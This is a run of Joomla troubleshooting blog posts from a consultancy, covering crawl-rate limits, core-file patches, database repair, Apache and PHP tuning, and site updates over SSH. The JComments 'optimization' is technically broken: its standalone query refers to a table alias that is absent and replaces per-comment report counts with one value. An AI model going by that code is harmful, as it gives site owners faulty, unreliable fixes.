RewriteRule .* - [R=403,L]

The above lines essentially blocked Bingbot from accessing (and thus crawling) the website, and after adding them we noticed that the load dropped to around 2 from around 10. So, the load issue was definitely caused by Bingbot. But, as you might have guessed, we can not keep this particular bot blocked since our client will lose his rankings with Bing.

So, we needed a way to tell Bingbot to slow down, and a quick research about the subject revealed Bing were aware about the load issue that their bot creates on the servers, and that they created a workaround to address it. The workaround was a small setting in the robots.txt file that tells Bingbot to take it easy a bit. In short, the setting will tell Bingbot how many seconds it has to wait until it hits the website with another request.

So, how to tell Bingbot to slow down?

You can tell Bingbot to slow down its crawl rate by adding the following to the end of your robots.txt file (note: we bolded and redded the last line since it is where the most important juice is, but you will need to add all the lines below, not just the red one):

# Slow down bing
User-agent: msnbot
Disallow: /administrator/
Disallow: /ads/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/
Crawl-delay: 5

The value of Crawl-delay (which is 5 in the above example), tells Bingbot to wait for 5 seconds between each page crawl.

We have to say that we were a bit (well, more than a bit) skeptical at first – we thought that Bingbot will just ignore that setting and keep crawling the website at their usual rate. But, we were pleasantly surprised when the next day, we noticed that Bingbot reduced its crawling speed to one page every 5 seconds, positively affecting the load on the server! The problem was solved!

But, what if Bingbot didn’t respect the “Crawl-delay” setting?

Well, in that case, we would have resorted to drastic measures. Such measures would have ranged from creating a special, module-less template for Bingbot to completely blocking this crawler by re-adding the above .htaccess lines. Of course, we would have to inform the client, who will have to choose between losing 50% of their traffic during peak hours because of Bingbot or losing about 10% of their traffic (the 10% of their traffic represents the incoming human traffic from Bing or Yahoo).

But wouldn’t setting the “Crawl-delay” setting to a high number result in an SEO hit specific to Bing/Yahoo?

Well, that’s a tricky question. Bing officially recommends keeping that Crawl-delay number low in order to ensure that Bing always has a fresh version of your website (it doesn’t say anything about SEO impact when you use that value). But we think that Bing‘s expectations of servers are somehow unrealistic – since not setting the Crawl-rate value will unleash Bing at turbo crawl (yes, you just witnessed the first oxymoron in this post) speed on your website, quickly swamping the server in case the website has many pages. While we’re not sure about the SEO implications with Bing, we think it’s of little importance when compared to the server health and responsiveness since the latter is a well-known SEO measure for Google. And, in all fairness, any website administrator will choose to accommodate Google over Bing any day!

So, if your website is very slow during peak hours and not-so-fast during non-peak-hours, then check your Apache logs for aggressive Bingbot crawling. If that’s the case, then try reducing the Crawl-speed value as per the above suggestion. If that didn’t work, or if the issue has nothing to do with Bingbot, then please contact us. We are here for you, we work hard, and we will solve any Joomla problem for a super affordable fee!

“DateTime::construct(): Failed to parse time string (Never) at position 0 (N)” Error on Joomla

We were busy most of the month doing emergency updates for our clients since Joomla had several critical updates in a row. Most updates went smoothly, but several didn’t. One update, for example, caused the following error to display on the homepage:

DateTime::__construct(): Failed to parse time string (Never) at position 0 (N): The timezone could not be found in the database

We tracked down the problem and we discovered that it had do with a change in a core file called calendar.php located under the libraries/joomla/form/fields folder. That change was incompatible with several 3rd party extensions (including the Mosets Tree extension, which was used by this particular website).

So, in order to fix the problem, we had to modify the calendar.php file the following way:

Just before the following line:

if (strtoupper($this->value) == 'NOW')

We added the following code:

if (empty($this->value) || $this->value == 'Never')
	$this->value = 'now';

And that fixed the problem!

But isn’t it a better to fix the problem in the affected 3rd party extension(s)?

Yes – it is better to do so. But we wanted to offer a generic solution in this post that will fix the problem on all extensions – instead of writing on how to fix the problem in every affected extension (and most likely we won’t cover all the affected extensions). And yes – we know – this is a core modification, but it is a quick and efficient modification (or at least we think it is!).

If you have the same problem on your website, then try modifying the calendar.php file as described above. If you want to fix the problem at the extension level, then please contact us. We’ll do it for you in not time and for a very reasonable fee!

Yet Another “The Connection Was Reset”/”No Data Received” Error on Joomla

A new client of ours emailed us and told us that whenever he visits his website, he’s seeing the following error:

The connection was reset.

The above error is displayed when he’s using FireFox. When he uses Chrome, his website also crashes but with the following (different) error:

No data received

Now, we worked on a similar problem before, but the difference is that on this instance, the problem was happening on every page on the frontend and the backend, while previously the problem was only happening in the backend when installing an extension.

So, the first thing that we did was that we disabled, in the configuration.php, gzip compression and FTP (we also removed all the FTP settings), but still, the problem was there.

We then disabled all the plugins and all the modules, and still we we were seeing the same error. That was very odd and we were perplexed – we just didn’t know where to look to find the cause of the problem (since what we were seeing was not a Joomla error, but a browser error).

Luckily, at around the same time the client started experiencing the problem, he received an automatic email from his server warning him that there was some corruption at the database level. That email (which he forwarded to us) unveiled the whole mystery.

You see, the automated email stated that the #__session table has crashed and that the system didn’t try to automatically repair it. So, we logged in to phpMyAdmin, we selected the database powering the Joomla website, and then we clicked on the #__session table, and we saw this message:

Table ‘./[database]/#__session’ is marked as crashed and should be repaired

So, we repaired the table using the following query (of course, we replaced #__ with the database prefix):

REPAIR TABLE `session`

And guess what? That fixed the problem!

But why did a corrupt session table cause this problem instead of just displaying a fatal error?

Honestly, we didn’t investigate the issue very hard in order to know why – but we’re sure that there’s a logical explanation. For now, you’ll just have to trust us that a corrupt session table will cause The Connection Was Reset/No Data Received error.

So, if you have the same problem on your website, try repairing the session table in phpMyAdmin. If that doesn’t work, then try repairing all the tables. If that still doesn’t work, then why not contact us? We’ll solve the problem quickly, cleanly, and for a very reasonable fee!

Your Joomla Website Is Slow After Changing Your Linking Structure? Read this!

Note: This post is slightly oriented for programmers. We just wanted to let you know before reading it in case you found it a bit too technical for your taste!

Another note: The solution presented in this post requires a core modification since it is addressing a bug in Joomla’s core. Proceed with caution and at your own risk, while keeping in mind that core modifications may be wiped out with a Joomla update.

A client of ours with a high traffic Joomla website (the website is a magazine), called us yesterday and told us that her website was experiencing some serious load issues. So we checked the server hosting the website and we noticed that the load was constantly in the double digits. This was odd because this issue happened all of a sudden, and they didn’t experience any spike in traffic. In fact, the traffic was relatively low this time of year for them (which is the case for many online businesses).

The first thing that we did was checking the slow query log, and it was full of the following queries:

# Time: 151228 16:39:29
# User@Host: db_user @ localhost []
# Query_time: 1.030854 Lock_time: 0.000249 Rows_sent: 11676 Rows_examined: 58413
SET timestamp=1449873569;
SELECT a.id, a.title, a.alias, a.title_alias, a.introtext, a.language, a.checked_out, a.checked_out_time, a.catid, a.created, a.created_by, a.created_by_alias, CASE WHEN a.modified = 0 THEN a.created ELSE a.modified END as modified, a.modified_by, CASE WHEN a.publish_up = 0 THEN a.created ELSE a.publish_up END as publish_up,a.publish_down, a.images, a.urls, a.attribs, a.metadata, a.metakey, a.metadesc, a.access, a.hits, a.xreference, a.featured, LENGTH(a.fulltext) AS readmore,a.state AS state,c.title AS category_title, c.path AS category_route, c.access AS category_access, c.alias AS category_alias,CASE WHEN a.created_by_alias > ' ' THEN a.created_by_alias ELSE ua.name END AS author,ua.email AS author_email,parent.title as parent_title, parent.id as parent_id, parent.path as parent_route, parent.alias as parent_alias,c.published, c.published AS parents_published
FROM #__content AS a
LEFT JOIN #__content_frontpage AS fp ON fp.content_id = a.id
LEFT JOIN #__categories AS c ON c.id = a.catid
LEFT JOIN #__users AS ua ON ua.id = a.created_by
LEFT JOIN #__categories as parent ON parent.id = c.parent_id
WHERE a.access IN (1,1) AND c.access IN (1,1) AND a.state = 1 AND (a.publish_up = '0000-00-00 00:00:00' OR a.publish_up <= '2015-12-11 22:39:28') AND (a.publish_down = '0000-00-00 00:00:00' OR a.publish_down >= '2015-12-11 22:39:28')
ORDER BY CASE WHEN a.publish_up = 0 THEN a.created ELSE a.publish_up END DESC, a.created;

Even though the query above was only taking a second, it was a problem, because there were many identical queries being executed every second.

Looking closer at the following line…

# Query_time: 1.030854 Lock_time: 0.000249 Rows_sent: 11676 Rows_examined: 58413

…we noticed that the rows being sent by the database to the (Joomla) application were 11,676 rows! Really? Why and where would Joomla need 11,676 rows from the #__content table in one shot? We thought it might be a very badly written module, and so we just emptied the index.php file located under the templates/[joomla-template] folder, and then we checked the load, which dropped a bit, but remained steadily in the double digits. This meant that the issue wasn’t caused by a module.

We then disabled all the published plugins, but, as we expected, it wasn’t the problem. We even switched to a basic template, but with no avail: the load was still very high!

So it wasn’t a module, it wasn’t a plugin, and it wasn’t the template causing the problem. What was it?

We then started debugging the problem, and we discovered that all of a sudden, the website started experiencing an abnormally high number of 404s. When we focused more on this issue, we realized that the high server load was caused by those 404 pages, and it didn’t take us long to know that the root of the issue was a bug in Joomla’s core.

You see, for a mysterious reason, when a user hits a 404 page, Joomla tries to load all the active articles from the database, and, when the database is very large, this can cause serious load issues on the server.

But is there a reason why Joomla does that?

No there isn’t. In fact, Joomla thinks that it’s not doing that. Let us explain by examining some code in the function getItems which is located in the category.php file (which is in turn located under the components/com_content/models folder).

if ($limit >= 0)
{
	$this->_articles = $model->getItems();

	if ($this->_articles === false)
	{
		$this->setError($model->getError());
	}
}
else
{
	$this->_articles = array();
}

As you can see, Joomla checks if $limit is greater or equal to zero, and if it is, it gets the articles from the database, if $limit is less than zero, then Joomla will not get anything form the database. In case you’re wondering, $limit tells Joomla to limit the number of articles retrieved from the database to its value, for example, if $limit is 20, then Joomla only asks MySQL to send 20 articles from the database (instead of 11k rows).

So, for the untrained eye, the above condition is solid: if $limit is less than zero, then do not get anything from the database. But what if $limit is NULL?

Well, if a value is NULL, then PHP will cast it (casting, in programming terms, means transforming a variable from one type to another) to a zero, and then Joomla will get all the active articles from the database (because technically, there is no limit imposed on the number of articles to be retrieved).

If you haven’t guessed it already, 404 pages on the Joomla website had a $limit of NULL, and thus each 404 page was technically loading 11k articles from the database into the memory – both creating a load on the database server and quickly exhausting the available memory.

In short, the condition if ($limit >= 0) is wrong – because if $limit is zero or equivalent to zero, then we will have a serious problem.

So, how did we fix the problem?

We fixed the problem by replacing, in the aforementioned category.php the following line:

$limit = $this->getState('list.limit');

with this one:

$limit = $this->getState('list.limit');
if (!isset($limit) || empty($limit))
	return array();

This ensured that we just return an empty array (as we should) whenever we have a $limit that is not even set, is NULL, or is set to zero.

But why did our client have this sudden spike in 404s?

Our initial guess at that was a change in the linking structure, and, after asking the client, we were proven correct in our assumption: the client made a massive change in the linking structure without making the necessary .htaccess redirection from the old links to the new links.

Now, if you, our dear, dear reader, are having slowdown issues after changing the linking structure on your Joomla website, then try the above solution and add the appropriate redirects in your .htaccess file. If you need help doing that, then please let us know. We are always available, our work is super professional, and we don’t charge much!

Joomla Website Slow After Updating Apache from 2.2 to 2.4

A client of ours, running a Joomla 3.4.6 website and not wanting to update to the seemingly rushed 3.4.7 asked us to update the PHP instance powering his website from PHP 5.4.44 (which has a known exploit when it comes to the serialization and unserialization of data) to close all known exploits on his server. As usual, we happily obliged.

We used EasyApache (from WHM‘s interface) to update from Apache 2.2/PHP 5.4.44 to Apache 2.4/PHP 5.5. Everything went smoothly, but, when we checked the website, it was extremely slow. It was taking literally 7-10 seconds to load each page, despite the fact that the website was using the System – Cache Joomla plugin for caching. The same website, before the update, was loading instantly.

The load on the server was very low (in the range of half a percent), and there were virtually no slow queries in the MySQL slow query log.

We remembered that EasyApache offered us the option to install XCache 3.2.0 for PHP, but we didn’t select that option. So we rebuilt Apache/PHP with that option selected (thinking that it would solve the problem), but the issue remained there after the update.

And then it hit us: Apache can be the source of slowness on a Joomla website (as we previously experienced), and so we checked Apache’s global configuration settings (by going, in WHM, to the Apache Configuration page and then clicking on the Global Configuration link), and we noticed that both the Server Limit and the Max Request Workers were set to very low, single-digit values, while the former’s default is 256, and the latter’s default is 150, and so we set both to their default values, we rebuilt the Apache configuration, and then we restarted Apache. Unsurprisingly, that solved the problem!

But why did EasyApache set these configuration settings to very low values?

We really have no idea – but we don’t think it was a glitch as we used the highly stable EasyApache 3. We think that these settings were intentional, thinking that they would make the website more secure and more resilient to DoS (Denial of Service) attacks. Ironically, by trying to protect the website against DoS attacks, EasyApache created the same effect that a DoS might have on a website.

If you’re having any performance issues after (fully or partially) updating your LAMP environment, then check Apache‘s settings, as the problem might be there. If you have already checked and you have found nothing outside the ordinary, then go ahead and contact us. We will find a solution, we will implement the solution, we will fix the problem, and you won’t be charged much!

“Fatal error: Call to undefined function mb_regex_encoding()” Error in Joomla

Note: The guide described in this post, although straightforward, is probably better performed by a system administrator as there’s always a chance of a glitch while tinkering with the server’s Apache and PHP installations.

Last week, we were commissioned to create a microsite for a large clients of ours. The microsite consisted of copying a partner’s website into their website (they recently bought that partner). We were excited because creating microsites is always a fun and straightforward job.

We usually use K2 for creating microsites (since it has the very powerful and adaptable “extra items“), and this time was no different… But (you knew there was a “but” somewhere, didn’t you?), after installing K2 and going to the K2 extension in the backend, we encountered the following error:

Fatal error: Call to undefined function mb_regex_encoding() in /home/[user]/public_html/components/com_k2/helpers/route.php on line 94

Luckily, we did encounter this issue before (but with a different extension), and so we knew exactly what the problem was… In short, it was a missing module (a PHP module, and not a Joomla module) that should have been bundled with the PHP instance installed on the server, but wasn’t. So, in order to fix the problem, all that needed to be done was to re-install PHP with that missing module (called Mbregex, short for Multibyte Regular Expression). Here’s how to do that:

  • Login to the WHM interface hosting that website.
  • Search for the word “EasyApache 3” in the search textbox on the top left and then click on its link.

  • In the selected configuration (the configuration with the radio button checked next to it, under Previously Saved Config), click on the settings wheel (just under Actions).

  • Click on Next Step when you are in Apache Version and PHP Version (do not change anything). Once you are in the Short Options List page, click on Exhaustive Options List (at the very bottom).

  • On the Exhaustive Options List page, click on the checkbox next to Mbregex, and then click on Save and Build at the bottom of the page. You will be asked this question “Recompile Apache and PHP now?” to which you should answer “OK” and then “I understand”.

  • Now wait and do not close your browser or the current page! As a reward for your 10-minute patience, a popup will appear where you just have to click on Save New Configuration (scroll down to the end of the text in the popup in order to see the Save New Configuration button). Once you click on it, the new Apache/PHP configuration settings will be applied and the problem will be resolved!

That was easy, huh? And the best thing is that the downtime is literally less than a minute to resolve this problem (you will have an unavoidable downtime since Apache, the web server, needs to be restarted during the process). Note that your website will not be down during the installation process (again, which takes around 10 minutes).

But what if the website is not on a WHM based server or is on a shared hosting platform?

If your website is on a Plesk powered server, then doing the above is not as straightforward and can get slightly complex. We suggest you ask us (or a system administrator, or your hosting company) to do that for you.

If you are on a shared hosting, then you are at the mercy of your host, or may or may not be willing to do it for you (since installing Mbregex on your account means installing it on the whole server).

If, even after following the above guide you are still seeing the same error, then try clearing your Joomla cache and see if it helps. If it doesn’t, then it’s probably time to contact the Joomla experts (that’s us!) who will solve the problem for you in not time and for a really, really affordable fee!

Blank Page on the Article Manager in Joomla’s Backend – How to Resolve

This very morning, the head administrator of a Joomla intranet website belonging to an extremely reputable university in the US Northeast (that university is a client of ours), called us and told us that whenever he goes to the Article Manager page on Joomla’s backend, he sees a blank page (despite the fact that his Error Reporting was set to Maximum in the Joomla’s global configuration). So we told him the following, just close your browser (all instances of the browser), and then open it again, and then try visiting the Article Manager page.

So he did that, and, unsurprisingly, we heard a loud “Huh?” on the phone immediately followed by “You guys are geniuses! It’s working now! But how?”

While we were tempted to claim that we performed some magic on our end to solve this problem, our open-knowledge nature eventually prevailed and we explained to the customer why closing the browser and re-opening it solved the problem. Now let us explain it for you, our dear reader!

Over the years, we have worked on Joomla every single day, and so we know almost everything about it, and we know the cause of the absolute majority of snags that Joomla administrators hit. You see, our client, when he was in the Article Manager page, he filtered on a specific category, and then, on the top right, he selected All instead of 20 to display all articles belonging to that category. After he finished his work on that particular category, he removed the category filtering and the website crashed because Joomla was trying to load all the articles in all the categories (since All was still selected), which made his PHP instance run out of memory.

But, is there a way to solve this problem without closing the browser?

We understand that some times you are running some important applications on the browser and you just can’t close it, and so another way to solve the problem would be to use another browser. But, if you don’t have another browser (some corporations restrict their employees to using one browser, which is typically Internet Explorer), then you can just go to phpMyAdmin, select the database powering your Joomla website, and then clear the #__session table by issuing the following:

TRUNCATE TABLE #__session

But, what if I really want to see all the articles in one shot?

If you have that very strange urge, then you can just increase the memory available for PHP (we have explained how to do this before here). Keep in mind that increasing the memory is a two-edged sword, as while it will fix your problem, it may lead to the whole system running out of memory and thus resorting to swap which will slow down the whole server, eventually crashing the website.

We hope that the above guide helped you fix your problem. If you still have the same issue even after closing your browser and increasing the memory, or if you feel that this issue is a bit too technical for your taste, then please contact us. We’ll do the work for you professionally, quickly, and for a very competitive fee!

Monitoring the Logs: A Proactive Technique to Ensure Your Joomla Website Remains Secure

OK – we have to admit it. We’re paranoid and we’re afraid of our own shadows, we’re also afraid of clowns (they really are scary), adult strangers talking to us in the streets, and, of course, being sucked down the bathtub drain (baths are always a nightmare). But our greatest fear is seeing a client’s website hacked, and that fear is so powerful that it forces us to be extremely proactive when it comes to website security.

Of course, proactiveness (or should it be proactivity for those grammaticians out there?) when it comes to website security manifests itself in many different ways at itoctopus, but one of them is monitoring the logs – specifically the Apache logs.

Logs, for those who don’t know (or for those who try to avoid looking at them) provide a wealth of very precious information about a website when it comes to security. For example:

  • Who’s logging to the website’s backend?

    One of our major clients is located in Chicago, IL. So, we examine every IP that logs in to backend of the website, and if we see an IP that is using the backend from any area outside Chicago, then we scrutinize all the activities performed by that IP and we tell our client to make sure that the login was (or was not) a false positive.

  • Which PHP files are being used?

    By default, the only PHP file accessed directly by Joomla (Apache) should be the index.php file, so, if, we find in the logs that Apache is successfully accessing another PHP file, then we examine that file very thoroughly to make sure that it’s a legitimate file. If it is not, the we get the file creation data, we delete it, and then based on the creation date of file we search through the logs in order to have an idea how it got there in the first place.

  • Which IPs are draining the website’s traffic?

    Examining the Apache logs allows us to find which IPs are using up the majority of the website’s bandwidth. Once we know those IPs, we can then choose to either ignore them (if they are legitimate crawlers/visitors) or block them (if they are visiting the website for malicious reasons).

  • Which pages/file are “404s”?

    Google Webmaster Tools provides some in-depth information about your 404 pages – but it’s still an external tool, and it doesn’t tell you much about the 404 files (such as 404 CSS files, 404 JavaScript files, etc…). Examining the logs allows us reveal which pages/files are being accessed extensively by the visitors but do not exist. Of course, you might be wondering, “what does that have to do with security?”. Well, a lot, since many attackers scan the website for vulnerable files randomly – so this allows us to catch the attackers’ IPs and block them. Also, performance-wise, addressing 404s by either blocking the request to the page/file altogether or by redirecting to another page will lessen the load on the both the web server and the database server.

If you want to have a robust and secure Joomla website, then monitoring/examining the Apache logs can help you tremendously (this should be a full time job by the way on large websites). If you need some guidance or if you need us to do this job regularly for you, then please contact us and we’ll be certainly happy to do so. Note that our super duper affordable fees apply!

Optimizing JComments in Joomla’s Backend

A client of us called us and told us that they were were experiencing huge slowdowns when using JComments in the backend – such slowdowns were affecting the whole website and sometimes lasting for several minutes! After a quick investigation in the slow query log, we were able to isolate the 3 queries causing the problem:

  • Query 1: (sometimes taking about 60 seconds to execute):

    SELECT jc.*, (SELECT COUNT(*) FROM `#__jcomments_reports` AS r WHERE r.commentid = jc.id) AS reports,jo.title as object_title, jo.link as object_link,u.name AS editor
    FROM `#__jcomments` AS jc
    LEFT JOIN `#__jcomments_objects` AS jo ON jo.object_id = jc.object_id AND jo.object_group = jc.object_group AND jo.lang = jc.lang
    LEFT JOIN `#__users` AS u ON u.id = jc.checked_out
    ORDER BY jc.date desc LIMIT 0, 20;

  • Query 2: (sometimes taking about 5 seconds to execute):

    SELECT DISTINCT(lang) AS name
    FROM #__jcomments
    ORDER BY object_group ASC;

  • Query 3: (sometimes taking about 5 seconds to execute):

    SELECT DISTINCT(object_group) AS name
    FROM #__jcomments
    ORDER BY object_group ASC;

After isolating the queries, our next step was to locate the file containing these queries, and it didn’t take us long: it was the file comments.php located under the administrator/components/com_jcomments/models/ folder. So, all we had to do was to optimize the queries in that file. This was done the following way:

  • At the very beginning of the function getListQuery, we added the following code:

    $sql = 'SELECT COUNT(*) FROM ' . $this->_db->quoteName('#__jcomments_reports') . ' AS r WHERE r.commentid = jc.id';
    $this->_db->setQuery($sql);
    $numReports = $this->_db->loadResult();

    We then changed the following line:

    $reportsSubQuery = ', (SELECT COUNT(*) FROM ' . $this->_db->quoteName('#__jcomments_reports') . ' AS r WHERE r.commentid = jc.id) AS reports';

    to:

    $reportsSubQuery = ', ' . $numReports . ' AS reports';

    This way we split the very heavy query into two queries which dramatically improved the performance (subqueries should always be avoided since they create a huge load on the database server), and by dramatically we mean that the execution time was reduced from 30-60 seconds to a very tiny fraction of a second.

  • At the very beginning of the function getFilterLanguages, we added the following code:

    $objLanguage= new stdClass();
    $objLanguage->name = 'en-GB';
    return (array($objLanguage));

    The 3 lines above ensured that JComments didn’t have to scan all the comments to know the available languages. Since we know that our client’s website only uses English, all we needed to do was to hardcode the returned array to only contain the English language (hence the en-GB in the code). If you’re using Spanish, for example, then you should replace en-GB (in the above code) to es-ES. Note that if you have comments in multiple languages, then you should create an object for each language (e.g. $objLanguage1, $objLanguage2, etc…) and then return an array containing these objects (e.g. return array($objLanguage1, $objLanguage2, …)).

  • At the very beginning of the function getFilterObjectGroups, we added the following code:

    $objObjectGroup1= new stdClass();
    $objObjectGroup1->name = 'com_content';
    $objObjectGroup2= new stdClass();
    $objObjectGroup2->name = 'com_k2';
    return (array($objObjectGroup1, $objObjectGroup2));

    The above code will work for websites using Joomla’ core and/or K2 for content management (the website we were working on was using both). If you are using another extension for content management in conjunction with JComments, then you should add it to the code above (while, at the same time, removing the unnecessary ones, such as com_k2 if you’re not using K2).

After implementing the above code changes, our client experienced huge performance gains and the MySQL server was relieved from doing unnecessary work.

Now, in case your website is suffering from slowdowns when you’re working with JComments in the backend, then try implementing the above optimizations. If you are still having problems (even after doing the above), or if you just don’t want to touch any code, then please contact us. We will definitely help and we’re confident that you will see huge improvements on your website in very little time and for a very little cost.

A Super Fast Way to Clean a Hacked Joomla Website

Note: This post assumes you have cPanel access to your website. The instructions for other hosting interfaces are different and are not covered in this post.

Warning: The method described in this post will wipe out any core modifications that you might have on your Joomla website. You have been warned!

Another warning: As explained in this post, this method may or may not work on your website (depending on the type of hack) – so there are no guarantees whatsoever that your website will be “clean” once you follow the below.

For years now, we’ve been getting so many tasks to unhack Joomla websites every month. What’s interesting is that these tasks never bore us, because quite a few of them are unique, and by unique we mean that the exploited websites suffered from hacking techniques that we have never seen (or fixed before). But about 50% (or maybe even more) of these tasks are standard (a standard Joomla hack, as we see it, is where core, and only core, Joomla files are hacked – anything other than that is a non-standard hack), and this has helped us devise a super fast method to cleanup a standard-hacked Joomla website.

You might be wondering – didn’t we write about this before? Well, not really, because the method described in the previous post is fast, but this method is super fast. On the flip side, the method described in this post is a hit or miss: it might work on your website or it might not work, while the other method is more of a solid process to cleanup Joomla websites.

So, without further delay (we know that you’re probably anxious and don’t have time to read literature), here’s our super fast method that you can use to clean your Joomla website from malware:

  • Do not visit your website (backend or frontend).
  • Backup your website. Yes, we know it’s bloated with malware, but you should back it up!

  • Ensure that index.php is the only PHP file that Apache can run as described here.

  • Login to the cPanel account hosting your Joomla website.
  • Click on File Manager, and then browse to the libraries/cms/version folder located under your Joomla website.

  • Open the file version.php and take note of these 2 variables: $RELEASE and $DEV_LEVEL. These variables (a variable, in the programming world, is… Well, we don’t know how to explain it in layman terms, but, if you don’t get it, that’s OK…) will tell you the exact version of your Joomla website. For example, if you have something like…

    public $RELEASE = '3.4';
    public $DEV_LEVEL = '5';

    …then your Joomla version is 3.4.5.

  • Download the exact version of your Joomla website from Joomla’s official website (you can always google your Joomla version and you will find the download page for your version somewhere in the first 3 links). Note that you should download the full release, and not the update.

  • Upload the file that you have just downloaded (from joomla.org) through cPanel’s File Manager to the main directory of your Joomla website – e.g. the /home/[username]/public_html directory – and extract it there (just right click on the file, and then click Extract).

  • Once the file is extracted (unzipped), then remove the installation folder and the Joomla zipped file that you have just extracted.

  • Check if your website is now clean!

If this method works for you, then congratulations! You’re one of the lucky ones! We do suggest, however, that you investigate how your website got hacked in the first place to prevent the same thing from happening again. If it doesn’t work, then don’t worry, we’re here for you! Just contact us and we’ll clean your website in no time and for a very affordable price!

“Files – Search”: A Free Joomla Plugin that Will Search Through Files

Ah search plugins, we love them, we truly do! Every time we get a job to create a search plugin we fight amongst ourselves as to who will create this plugin! We have created search plugins that will search core Joomla tables, non-core Joomla tables, specific modules, etc… We even created search plugins that will search data located on a remote server (through a web service). However, there is one very special search plugin that we have developed and refined over the years, we like to call it the “Files – Search” plugin (not a very original name, huh?). What this search plugin does is slightly different than what other search plugins do: instead of searching a table in the database for a keyword, it searches files in a specific directory for that keyword!

Since we are very generous, we have decided to release the plugin for our loyal readers for free: you can find it here.

What does this plugin do exactly?

The “Files – Search” plugin will search through all the files in the “Search Directory” (which is a setting in the plugin) and will return the URL of each file that has the searched text in its content along with an excerpt (as well as the creation date of the file). The plugin will then send its search results (e.g. the matching files) to the search component, which will then merge them with the search results of other search plugins, and will eventually display them on the “Search Results” page.

What kind of filetypes can this plugin search?

Currently, the plugin can search Text files (.txt, .text), HTML files (.htm, .html), PDF files (.pdf), MS Word documents (.doc, .docx), MS Excel documents (.xlsx), and MS PowerPoint documents (.pptx).

Is this plugin stable?

Yes – we can safely say it’s very stable. In fact, we use it on quite a few large production websites and it performs amazingly. So, yes, it’s really stable!

Is installing, configuring, and operating this plugin a hard task?

No – it’s really quite easy. In fact, all you need to do after downloading the plugin from our website and installing it on your Joomla website is to modify the only setting the plugin has which is the “Search Directory” (to make it point to the folder containing the documents that you would like to search for). Afterwards, you just have to enable the plugin and that’s it!

Are there any limitations to this plugin?

Currently, the plugin will only search one folder (recursively) – so, if you want to search multiple folders, then please contact us and we’ll give you a quote for that (note that our fees are very competitive). Additionally, the plugin will only search files of specific types (these types are listed above) – again, if you want to search for other file types, then you will need to contact us.

Will the plugin work on all versions of Joomla?

The last time we have used this plugin was very recently (on a Joomla 3.4.5 website), but we’re confident that it’ll work flawlessly on Joomla 2.5 websites. As for Joomla 1.5 (if you still haven’t upgraded yet), then the plugin might work without any modification (but we suspect that), and if it doesn’t work then please contact us, we’re sure we can make it work for you in very little time.

Will the plugin search PDF files?

Yes (we mentioned this above but we wanted to assert this point), and what’s interesting is that it does that without installing any 3rd party library on the server hosting your Joomla website. It can also search the majority of Microsoft Office documents (also without installing any 3rd party library on the server).

So, is this plugin free?

Yes – it’s free: you can modify it whichever way you like and use it to fit your needs. We’re also against the practice of linking back to our website from our plugins, so you can rest assured that the plugin is free and clean.

However, keep in mind 2 things:

  1. We don’t provide free support for any of our free plugins. If you want support then please check our fees!
  2. Although we have made sure that this plugin is safe and will not cause any issues, please keep in mind that you are using this plugin at your own risk. We cannot be held liable for any issue directly or indirectly caused by the use of this plugin. This free plugin is provided as-is and comes with no warranty whatsoever!

We hope you will enjoy using this plugin the same way we have enjoyed building it. Should you have any questions about it or should you want us to modify it for you in any way, then don’t be a stranger; all you need to do is to contact us (again, keep in mind that our super affordable fees apply)!

The Quickest and Best Way to Update a Joomla Website

Note: This post is about updating a Joomla website, and not migrating it. See the difference between the two here.

A few weeks ago, Joomla released Joomla 3.4.5, which is a critical security update that closes a SQL injection exploit existing in previous versions of Joomla. At the time of its release, we got so many calls from Joomla administrators who had issues updating their Joomla website. This is normal and we did help them address the issues that they faced. However, we also got a not-so-small number of calls from Joomla administrators who were intimidated from the whole “update” concept. They felt that 1) they will run into issues, and 2) the update will take a lot of time, and so they asked us about the fastest and best way to update a Joomla website. We told them that they could follow our easy guide of updating Joomla website. Naturally, they asked us about it, and we told them that we’ll publish it soon on our website! And here it is, our super-duper easy and quick guide for updating Joomla websites (note that the following guide applies to a WHM/cPanel environment):

  • Backup your Joomla website. Make sure you backup both the database and the filesystem. Do not proceed without backing up your website. You have been warned!
  • Make sure that your website’s backup works. Sometimes, backups can be corrupt, and you can’t really restore a website with a corrupt backup!

  • Login to the server hosting the Jooma website through ssh (we usually ssh to a server using putty).

  • Go to this folder: /home/[cpanel-username/public_html using the cd command. E.g.:

    cd /home/[cpanel-username]/public_html

  • Download the latest version of Joomla to the server. This can be done using the following command:

    wget https://github.com/joomla/joomla-cms/releases/download/3.4.5/Joomla_3.4.5-Stable-Full_Package.zip

    Note that the above link must be replaced with the latest Joomla download link, which should be copied from the joomla.org/download.html page (it should be the Full Package link).

  • Add the following line to the beginning of the .htaccess file (located under the root directory of your Joomla website):

    deny from all

    The above ensures that your website is not available during the update process – otherwise your visitors will be redirected to the installation folder once you do the next step.

  • Extract the downloaded file onto your Joomla website. You can do this using the following command:

    unzip Joomla_3.4.5-Stable-Full_Package.zip

    (Note: Answer “A” to update all files when you’re prompted by the system.)

  • Remove the installation folder by issuing the following command:

    rm -Rf installation

  • Remove the downloaded Joomla install by issuing the following command:

    rm -Rf Joomla_3.4.5-Stable-Full_Package.zip

  • If you’ve ssh’d as root, then you will need to issue the following commands to correct the file ownership on the Joomla files:

    chown -R [cpanel-username] *
    chgrp -R [cpanel-username] *

  • Open the .htaccess file and remove the line that you have added earlier in the process.

  • That’s it. Your website is now fully updated.

Note that if you have modified some core files on your Joomla website, then you will need to backup these files before starting the process, and then you will need to restore them after the above process is done. If you don’t do that, you will lose all the core modifications done on your website.

But why do the above when you can just update your website by clicking on a button?

Well, because that button click doesn’t work smoothly all the time. Additionally, by extracting the Joomla install over the current website, we avoid any database updates to the website (database updates can cause compatibility issues), since we’re just overwriting files.

If you have problems updating your Joomla website, then try our guide, it should help tremendously. If it doesn’t work for you or if you think that it’s not the easiest guide to follow, then please contact us. We’ll update your website in no time and for a very affordable fee!

“Bad Request: Your browser sent a request that this server could not understand.” Error When Trying to Access Your Joomla Website

A client of ours emailed us a few days ago and told us that whenever he tries to access his website, he’s seeing the following error:

Bad Request: Your browser sent a request that this server could not understand. Size of a request header field exceeds server limit.

He told us that he was the only one in his company seeing this problem, but that he had no idea whether any of his website’s visitors was having the same problem. He asked us to investigate, and so we did.

